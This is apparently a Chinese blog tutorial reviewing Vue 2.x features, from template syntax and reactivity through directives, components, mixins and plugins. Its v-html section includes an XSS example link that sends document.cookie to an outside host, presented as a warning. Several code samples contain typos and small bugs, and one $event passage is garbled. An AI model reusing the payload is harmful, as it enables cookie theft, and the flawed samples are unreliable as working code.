二看 Vue

前言

Vue 2.x 在我大二的时候学过 ,但由于自己当时基础不那么扎实,没学透,也用它做过几个不怎么成熟的项目,现在看来,当时只是依葫芦画瓢,全然没 get 到框架的灵魂,在第一次公司实习的时候用的框架是 React,Vue 很长时间没用了,到了第二家公司实习的时候,刚好用的就是 Vue,趁这次机会来回顾一下 Vue,本文章会从 Vue 2.x 循循渐进到 Vue 3.x,并不适合小白。

vue的{{ }}

{{}} 与 react 的 jsx 差不多,里面写的是 js 表达式可以直接获取 Date.now(), 变量 .toUpperCase() 等等。

v-bind 简写: 给属性绑定值,单向数据绑定,从 data 流向页面

例如 点我跳转 这里的 url 就是在 data 中定义的变量,所以此时" "里面写的是 js 表达式,不是寻常字符串。

v-model 给属性绑定值,双向绑定

数据不仅能从 data 流向页面,也能从页面流向 data,它一般只能运用在表单类元素上,像 input,select 等,v-model 默认收集的是 value 的值,所以一般简写

<input v-model:value="name"> 简写为:
<input v-model="name" >

v-model:lazy ,失去焦点再收集数据;
v-model:number,将输入的字符串转为有效数字
v-model:trim,输入首位空格过滤

vue 与 html 模版的绑定

准备一个容器

<div id="root"><p>我是一段话,内容为 {{content}}</p></div> 

准备好 vue 实例:

new Vue{
	el:'#root' // 不用 el 也可以用 new.Vue.$mount('#root') 挂载
	data:{
		content:'我是内容'
	}
}

挂在步骤:把容器里的html模版交给 Vue,Vue 解析完了之后将指定内容放(挂载)到页面上的指定位置上去

data 的两种写法:对象式与函数式

对象式:

new Vue({
	data:{
		content:'我是内容',
	}
})

函数式:

new Vue({
	//data:function(){//因为在对象中写函数,所以直接可以写成以下这样
		data(){
			console.log(this) // this 是 Vue 实例对象,所以 data 不能写成箭头函数,不然 this 就是 window
			return {
				content:'我是内容',
			}
	}
})

后面写组件时会说到函数式与对象式的区别

MVVM 模型

1、M:模型(Model):对应 data 中的数据
2、V:视图(View):html 模版
3、VM:视图模型(ViweModel):Vue 实例对象(vm),它相当于一个桥梁,将 html 与 data 中的数据连接起来
data 中的所有属性,最终都出现在了 vm 身上,vm 身上所有的属性 及 Vue 原型上所有属性,在 Vue 模板中都可以直接使用,例如:{{ $options }} 等等
MVVM

数据代理

Object.defineProperty 方法

let animal = {
	name: 'cat',
}
let ageNumber = 0
Object.defineProperty(animal,'age',{ // 指定操作对象:animal,要操作的属性:age,
	// value: 5, // 给 naimal 添加一个 age 属性,值为 5
	// enumerable: true, // 添加的这个 age 属性是否可枚举(遍历),默认值 false
	// writable: true, //  添加的这个 age 属性是否可被修改,默认值 false
	// configurable: true //  添加的这个 age 属性是否可被删除,默认值 false
	get(){ // 当获取 age 属性时,animal.age
		return ageNumber
	}
	set(value){ // 当修改 age 属性的值时被被调用,animal.age = 8,会收到修改的具体值
		console.log('age 被修改了,值为 value')
		ageNumber = value
	}
})

Vue 中,我们写在 data 中的每一个数据都是通过 Object.defineProperty() 添加到 vm(Vue实例) 上,为每一个属性都指定一个 getter/setter,在 getter/setter 内部去操作 (读/写) data 中,所以 data 中的数据我们一修改,对应 html 模版就会跟着更新。

事件处理

1、模版通过 @click 绑定事件
2、vue 的事件写在 methods 中,最终也会在 vm 上
3、methods 对象中的函数都是被 Vue 管理的函数,不要用箭头函数,不然 this 会不是 vm了,一般是 window
4、@click=“getInfo” 与 @click="getInfo( e v e n t ) " 的 效 果 一 致 , 但 后 者 可 传 参 , 默 认 第 一 个 参 数 就 是 e v e n t , 为 了 防 止 传 其 它 参 数 后 e v e n t 就 丢 失 了 , event)"的效果一致,但后者可传参,默认第一个参数就是 event,为了防止传其它参数后 event 就丢失了, event)"eventeventevent 就当一个占位符

<button @click="getInfo"> 点击 </button>
<button @click="setInfo(666,$event)"> 设置 </button>
methods:{
	getInfo(){
		console.log('我被点击了')
	},
	setInfo(num, event){ // event.target 拿到事件元素
		console.log('我要设置某值为', num)
	}
}

Vue 中事件修饰符

1、prevent 阻止默认事件(常用)
2、stop 阻止事件冒泡(常用)
3、once 事件只触发一次(常用)
4、capture 使用事件的捕获(从外往里)模式,默认是冒泡(从里往外)
5、self 事件发生在当前元素(event.target 是当前元素)才会触发事件
6、passive 事件的默认行为立即执行,无需等到事件回调结束

点击链接先执行函数,然后立马跳转到页面,但加上 prevent 就能阻止默认的跳转行为

<a herf="https://blog.csdn.net/xiaoguoyangguang?spm=1000.2115.3001.5343" @click.prevent=“getInfo”>首页</a>

点击按钮,若不加 stop,则先调用 setInfo,然后调用 getInfo ,加上 stop 后阻止事件冒泡,就只会执行 setInfo(按钮的事件)

<div @click="getInfo">
<button @click.stop="setInfo($event)">按钮</button>
</div>

这个按钮点击调用 setInfo 事件一次后,再去点击就不会再触发 setInfo 事件了

<button @click.once="setInfo($event)">按钮</button>

Vue 中键盘事件

Vue 中常用的按键别名:
回车:enter
删除:delete
退出:esc
空格:space
换行:tab
上:up
下:down
左:left
右:right
键盘上的按键信息都可以通过 e.key 与 e.keyCode 拿到,若 key 是驼峰的需将驼峰改为短横线的形式,例如 CapsLock 需改为 caps-lock

<input type="text" @keyup="getCode">
methods:{
	getCode(e){
		console.log(e.key, e.keyCode) // CapsLock 20
	}
}
当敲下 enter 键又抬起时触发 setInfo 函数:
<button @keyup.enter="getInfo($event)">按钮</button>
methods:{
	getInfo(e){
		console.log('用户按下了 enter 键')
	}
}

计算属性 computed

1、计算属性的用法和一般的 Vue 属性使用是一样的。
2、要用的属性不是固定存在 data 中的,要通过已有的属性计算得来
3、原理:底层借助里 Object.defineproperty 方法提供的 getter 和 setter
4、在初次读取「计算属性」时,get 函数会执行一次,再次读「 计算属性」时会取缓存中的值,这与 methods 中的方法有本质区别,后者只要有人调用,就会被执行,但前者当它的依赖数据发生改变时会被再次调用
5、计算属性和 data 中的属性一样,最终都会出现在 vm(Vue 实例) 上,直接读取即可
6、如果计算属性需要被修改,那就必须写 set 函数去响应修改,且 set 中要引起计算时依赖的数据发生变化,如果计算属性不会被修改,那就可以使用简写形式

<component :is="componentsName"></component>
<p>{{ fullName }}</p>
import H5 from '~/features/activities/H5.vue'
import PC from '~/features/activities/PCActivities.vue'

export default {
  name: 'PromotionsPage',
  layout: 'application',
  components: { H5, PC },
  data:{
		firstName:'李',
		lastName:'佳'
	}
  computed: {
    componentsName() { // 当这个计算属性只被读取,不被设置时可简写成这样
      return this.$device.isMobile ? 'H5' : 'PC'
    },
    fullName:{ // 当这个计算属性被读也要被设置时必须给它设置 set 函数才行
		get(){ 
			console.log('fullName 属性被读取了')
			return this.firstName + '-' + this.firstName
		}
		set(value){
			const arr = value.split('-')
			this.firstName = arr[0]
			this.lastName = arr[1]
		}
	}
  }
}

监视属性 watch

1、当被监视属性发生变化时,回调函数自动调用,进行相关操作
2、监视属性可以是 data 中的属性,也可以是计算属性,但必须存在,但 watch 检测不到多层级数据变化,所以如果监视的属性是一个「对象」,那就得开启深度监视,不然检测不到该对象的内部属性变化
3、监视属性有两种写法:(1) 在 new Vue 时传入 watch 配置,(2) 通过 vm.$watch 监视

const vm = new Vue({
	data:{
		flag: false,
		number: { // 如果我们要监视 number 中的 a,那就得开启深度监视
			a: 1,
			b: 2
		}
	},
	computed:{
		isCold(){
			return this.flag ? '很冷' : '不冷'
		}
	},
	watch:{ // 写法一
		flag: { // 监视 flag 属性,只要 flag 一变化就调用 handle 函数
			immediate: true, // 初始化(当 flag 第一次被读取时,还没改变),就调用 handle 一下
			handle(newValue, oldValue){ // 新值,老值
				console.log('flag 发生了改变')
			}
		},
		number: {
			deep: true, // 开启深度监视
			handle(){
				console.log('number 发生了改变')
			}
		},
		// 当监视不需要配置 immediate 与 deep 时,简写,检测 flag 属性的变化
		flag(newValue, oldValue){
			console.log('flag 发生了改变')
		}
	}
})

vm.$watch('flag', { // 写法二,在 Vue 实例中直接绑定
	immediate: true,
	handle(newValue, oldValue){ // 新值,老值
			console.log('flag 发生了改变')
		}
})
// 简写
vm.$watch('flag', function(newValue, oldValue) { // 新值,老值
		console.log('flag 发生了改变')
	}
)

computed 与 watch 的区别

1、computed 依靠返回值 return,但是 watch 监听到属性变化就进行一系列操作,不需要返回值
2、computed 能完成的功能,watch 也能完成,当它两都能完成时,优先用 computed,但 watch 能完成的功能 computed 不一定能完成,例如 watch 能进行异步操作,computed 不能,因为 computed 靠的是return 返回值,但是 setTimeout 的回调函数的返回值属于回调函数,不属于计算属性的返回值
重要 tips:
(1) 所有被 Vue 管理的函数。最好写成普通函数,这样 this 的指向才是 vm 或 组件实例对象
(2) 所有不被 Vue 管理的函数(定时器的回调函数、ajax 的回调函数,promise 回调函数),最好写成箭头函数,这样 this 的指向才是 vm 或 组件实例对象

	data: {
		flag: false,
		newFlag:''
	}
	
	computed: {
		flag() { // 不属于 flag 函数的回调,所以这个属性没返回,用到 flag 的页面空白
			setTimeout(() =>{ // 这个 return 属于 setTimeout 的回调
				return '间隔一秒,我变化了~'
			}, 1000)
		}
	}
	
	watch: {
		flag(value) {
			setTimeout(() =>{
				this.newFlag = '间隔一秒,我变化了~,新的值为'+ value
			}, 1000)
		}
	}

绑定 class 样式

<style>
 	.input-icon1 {
 	   font-size: 24px;
 	 }
  	.input-icon2 {
  	  font-family: monospace;
  	}
  	.input-icon3 {
  	  font-family: sans-serif;
  	}
</style>

<body>
	// 相当于 class = "input-icon input-icon2",适用于:样式类名不确定,需要动态指定
	<p class="input-icon1" :class="class1" @click="changeClass()">
        <icon :name="rightIcon.name"></icon>
	</p>
	
	// 相当于 class = "input-icon input-icon2 input-icon3 ",适用于:要绑定的个数不确定,名字也不确定
	<p class="input-icon1" :class="class1">
        <icon :name="rightIcon.name"></icon>
	</p>
	
	// 相当于 class = "input-icon input-icon2",适用于:要绑定的个数确定,名字也确定,但动态决定用不用,true 用,false 不用
	<p class="input-icon1" :class="classObj">
        <icon :name="rightIcon.name"></icon>
	</p>
</body>

<script>
	new Vue({
		data: {
			class1: 'input-icon2'class2:['input-icon2', 'input-icon3']classObj:{
				input-icon2: true,
				input-icon3: false
			}
		},
		methods: { // 点击切换字体样式
			this.class1 = 'input-icon3'
		}
	})
</script>

条件渲染

v-if 适用于:切换频率较低的场景,因为不展示的元素直接被移除掉,切换频率较高的话,Vue 得不断的 CreateElement 与 removeChild,特点:v-if 可以和 v-else-if、v-else 一起使用,但是他们不能被“打断”。
(1)v-if = “表达式”
(2)v-else-if = “表达式”
(3)v-else = “表达式”

v-show 适用于:切换频率较高的场景,因为不展示的元素被 display:none 隐藏,DOM 元素未被移除

列表渲染

用于展示列表数据,你需要多少条某种类型的 DOM 元素你就 v-for 它,不止能遍历数组(最常用),还能遍历对象、字符串、指定次数

<ul>
	<li v-for="item in persons" :key="item.id">
		{{item.name}} --- {{item.age}}
	</li>
	<li v-for="(value, k) of car" :key="k">
		{{value}}
	</li>
	<li v-for="(char, index) of str" :key="index">
		{{char}} --- {{index}}
	</li>
	<li v-for="(num, index) of 5" :key="index">
		我被打印 5 次
	</li>
</ul>
data: {
	persons:[
		{id: 001, name: '张三', age: 18},
		{id: 001, name: '李四', age: 20},
		{id: 001, name: '王五', age: 18}
	],
	car:{
		name:'本田',
		name:'奥迪',
		name:'大奔'
	},
	str:'world'
}

key 的作用与原理

与之前我写的 React 的列表渲染中 key 的原理一致,就不赘述了,链接附上
key 的作用与原理

Vue监测数据变化的原理(对象)

let data = {
	name: 'Tom',
	age: '35'
}
const obs = new Observe(data) // 将 data 交给了 Observe,那么 data 上的 key 与 value,Observe 的实例对象上也有(基本功)
data = obs
function Observe(obj) {
	const keys = Object.keys(obj)
	keys.forEach((k)=>{
		Object.defineProperty(this, k, {
			get() {
				return obj[k]
			},
			set(newVal) {
			console.log(`${k}被修改了,我要解析模版,生成虚拟 DOM,进行 diff 比较...`)
				obj[k] = newVal
			}
		})
	})
}

Vue实现数据监听就是给每个对象都绑定为他们服务的get、set,我们实现的只是简易的实现数据监听,但是Vue比我们完善很多,他做了数据代理,vm.name数据就能被监听到,但我们没有,另外,我们这样只是考虑了一层,对象里面再嵌套对象就不行,而Vue底层写了递归

Vue.set()

data:{
	student:{
		...
	}
}

当我们不能data上添加我们需要的属性时,我们可以使用Vue.set(‘student’, ‘name’,'Tom
'),或者 this.$set(…)是一样的, 其实直接往this(实例)上添加也可,但是那样添加的属性是没有响应式的。
局限:Vue.set只能给data中某一个对象追加属性,而不能给直接给data添加属性,Vue.set(‘data’, ‘user’,…)不允许

Vue实现数组的响应式

Vue中关于数组的方法是被封装过的,它内部首先还是调用了JS原生的方法(包括 push、unshift…),其次,它重新去解析模版、生成虚拟Dom…,所以数组还是可以被监听到,

过滤器

这个api不强制去使用,因为我们使用watch与compute

<h2>现在的时间是{{timer | timeFormater('YYYY年MM月DD日 HH:mm:ss') | mySlice}}</h2>
Vue.filter('mySlice',function(value){ // 全局过滤器
	return value.slice(0, 4)	
})
new Vue({
		data:{
			time: 1621561277603, // 时间戳
		},
		filters:{	
			timeFormater(value, str = 'YYYY年MM月DD日 HH:mm:ss') {
				// return dayjs(value).format('YYYY年MM月DD日 HH:mm:ss')
				return dayjs(value).format(str)
			},
			mySlice(value) { // 接收到 timeFormater 的返回值;这个过滤器也可以放到全局
				return value.slice(0, 4)	
			}
		}
})

内置指令

1、v-text用得较少

<h1 v-text="name">你好</h1> // 会替换标签中的值,效果相当于 <h1>{{name}}</h1>
new Vue({
	data: {
		name:'Tom'
	}
})

2、v-html
注意:v-html有安全性问题

  • 在网站上动态渲染任意的html会非常危险的,容易造成XSS攻击
  • 一定要在可信赖的内容上使用v-html,永远不要用在用户提交的内容上(用户的任意输入都是不可信的)
<div v-html="str">你好</div> // 会替换标签中的值,效果相当于 <h1>Tom</h1>
<div v-html="str2">一些内容</div>
new Vue({
	data: {
		str: '<h1>Tom</h1>',
		str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>诱惑你点击</a>'
		//将本网站的cookie传递给百度网站并跳转,危险⚠️;ps:但本网站的cookie有httpOnly属性就不会被js代码获取到
	}
})

3、v-cloak

  • v-cloak 没有值,他是个特殊的指令,Vue实例创建完毕并接管容器后,会删除这个属性
  • 使用v-cloak与css配合可以解决因为网速慢时页面出现{{XXX}}的问题
[v-cloak] {
	display: none;
}
<h2 v-cloak>{{name}}</h2>
<javascript src="http://www.dbahbuc.com"></javascript> // 如果这个数据的请求很慢,下面的Vue模版还没开始解析,页面就会出现 {{name}},用cloak就能避免
new Vue({
	data: {
		name:'Tom'
	}
})

4、v-once

  • v-once指令在首次动态渲染数据后,就是为静态内容了
  • 后续的数据变化的时候,不会引起v-once所在的节点更新(重新渲染),可以优化性能
<h2 v-once> 初始化n的值为{{n}} </h2>
<div v-once> 当前n的值为{{n}} </div>
<button @click="n++"> 点我+1 </button>
new Vue({
	data: {
		n: 1
	}
})

5、v-pre

  • 跳过其所在的节点的编译过程
  • 可使用它跳过:没有使用指令语法、插值语法的节点,会加快编译(因为vue到该节点就不会再花时间检查他有没有插值,需不需要重新更新等等,直接跳过)
<h2 v-pre> 初始化n的值为{{n}} </h2>

自定义指令

指令名是你取的,指令背后操作DOM的逻辑也是你写的
函数写法的自定义指令只有 bind 与 update 两个钩子,不会有 inserted 的状态(元素插入到页面的钩子)

<h2> 当前的n:{{n}} </h2>
<div>放大十倍后的n:<span v-big="n"></span></div>
new Vue({
	data: {
		n: 1,
	},
	directives: {
		// 调用时机:1、指令与元素成功绑定时(一上来);2、指令所在的模版被重新解析时
		big(element, binding){ // element:指令所在的元素,binding:传给自定义指令的值
			element.innerText = binding.value * 10
		}
	}
})

自定义指令-对象式

<input type="text" v-fBind:value="n"> 当前的n:{{n}} </input>
new Vue({
	data: {
		n: 1,
	},
	directives: {
		fBind:{
			bind(element, binding){ // 1、指令与元素成功绑定时(一上来)
				element.value = binding.value
			},
			inserted(element, binding){ // 2、指令所在的元素被插入页面
				element.focus() // 获取焦点、拿到元素的父元素等,都得用 inserted 钩子,因为这个两个操作得保证元素已经被插入到页面
			},
			update(element, binding){ // 3、指令所在的模版被重新解析时
				element.value = binding.value
			}
		}
	}	
})

自定义指令注意事项

  • 指令名有多个单词组成必须用“-”形式连接,不能使用小驼峰
  • 相应的,调用的时候使用’big-numbe’(element, binding)
    {…}的对象简写的形式调用
  • 自定义指令中的this是window,不再是vm实例,因为他已经使用了v-big="n"的形式传参,不需要this.n获取data中的数据
    全局的自定义写法和过滤器全局写法一模一样,全局 directives 都少个 ‘s’
<h2> 当前的n:{{n}} </h2>
<div>放大十倍后的n:<span v-big-number="n"></span></div>
new Vue({
	data: {
		n: 1,
	},
	directives: {
		// 调用时机:1、指令与元素成功绑定时(一上来);2、指令所在的模版被重新解析时
		'big-numbe'(element, binding){ // element:指令所在的元素,binding:传给自定义指令的值
			element.innerText = binding.value * 10
		}
	}	
})

全局自定义指令写法
对象式:

Vue.directive('fBind',{
			bind(element, binding){
				element.value = binding.value
			},
			inserted(element, binding){ 
				element.focus()
			},
			update(element, binding){ 
				element.value = binding.value
			}
		})
new Vue({...})

函数式:

Vue.directive('big-numbe', function(element, binding){
		element.innerText = binding.value * 10
})
new Vue({...})

生命周期

  • 生命周期中的this指向Vue实例

mounted:Vue完成模板解析,并把初始的真实DOM放到页面后(挂载完毕),调用的它
Vue生命周期

Vue生命周期

组件

非单文件组件:一个文件中包含n个组件
单文件组件:一个文件中只包含1个组件

关于this的指向问题

(1)组件配置中:
data函数、methods中的函数、watch中的函数、computed中的函数,它们的this指向均是【VueComponent 实例对象(简称vc,组件实例对象)】
(2)new Vue(options)配置中:
data函数、methods中的函数、watch中的函数、computed中的函数,它们的this指向均是【Vue 实例对象(简称vm,Vue实例对象)】
(3)vc 被 vm 所管理,因为 vm 是根组件
(4)vc与vm是有区别的,例如vm的配置项中可以写el,但vc中不能,vm配置项中的data可以是对象也可以是函数,但vc中的data必须写成函数

关于 VueComponent
school组件本质为一个名为 VueComponent 构造函数,在源码中定义。
我们只要写组件标签(如下school标签),Vue解析就会帮我们创建school组件的实例对象,即帮我们执行 new VueComponent(options),多个组件标签就调用多次VueComponent构造函数,每次返回都是一个全新的 VueComponent,数据不会混乱。

<school /> 

1、一个重要的内置关系:

VueComponent.prototype.__proto__ = Vue.prototype

2、为什么有这个关系:让组件实例对象vc可以访问到Vue原型上的属性、方法(原型链)

Vue使用组件三大步骤

1、定义组件
2、注册组件
3、使用组件(写组件标签)

如何定义一个组件

暂时使用Vue.extend(option)创建,后续会出现脚手架

  • el不需要写 —— 最终所有的组件都要经过一个vm管理,由vm中的el决定服务于哪个容器
  • data必须写成一个函数 —— 避免组件被复用时,数据存在引用关系

如何注册一个组件

  • 局部注册:靠new Vue时传入components选项
  • 全局注册:靠Vue.component(‘组件名’, 组件)

data为什么必须是一个函数?

如果某个组件内部的data是一个对象,因为对象的引用是栈中的地址,地址指向堆中的具体的对象,所以某一个组件修改了data中的数据,那么其它引用了这个组件中的data也被修改了,引起数据混乱。如果将data写成函数的形式,那么每次函数调用都会返回一个全新的对象,我们调用引用的组件后,每次都得到一份新的data数据对象,修改它不会影响其它组件的data数据。

ref属性

1、应用在html标签上获取的是真实的DOM元素
2、应用在组件标签上获取的是组件实例对象(vc)
3、使用方法:

<h1 ref="xxx">...</h1>
<School ref="xxx"></School>

获取:this.$refs.xxx

props

在这里插入图片描述
父组件传过来的props数据被子组件接收后,会出现在子组件的vc身上,我们直接使用this.xxx就能拿到,props为单向数据流,如果想修改props得复制一份到data身上,即可实现修改data中的数据达到修改peops数据的目的:
在这里插入图片描述

mixin 混合(混入)

功能:可以把多个组件共用的配置提取成一个混入对象
使用方法:第一步定义混合(写法和Vue配置项中的一样),例如:
{
data(){

},
methods:{

},

}
第二步使用混合,例如:
(1)全局混入:Vue.mixin(xxx)
(2)局部混入:mixins:[‘xxx’]
在这里插入图片描述

在这里插入图片描述

插件

功能:用于增强Vue
本质:包含install方法的一个对象,install方法的第一个参数是Vue,第二个参数是插件使用者传递的数据。
定义插件:

对象.install = function(Vue, options) {
						// 1、添加全局过滤器
							Vue.filter(...)
							
						//	2、添加全局自定义指令
					    	Vue.directive(...)

						//	3、配置全局混入
							Vue.mixin(...)
							
						//	4、添加实例方法
							Vue.prototype.myMethod = function () {...}
							Vue.prototype.myProperty = xxx
						}

在这里插入图片描述

使用插件:
Vue.use(插件名,options)
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值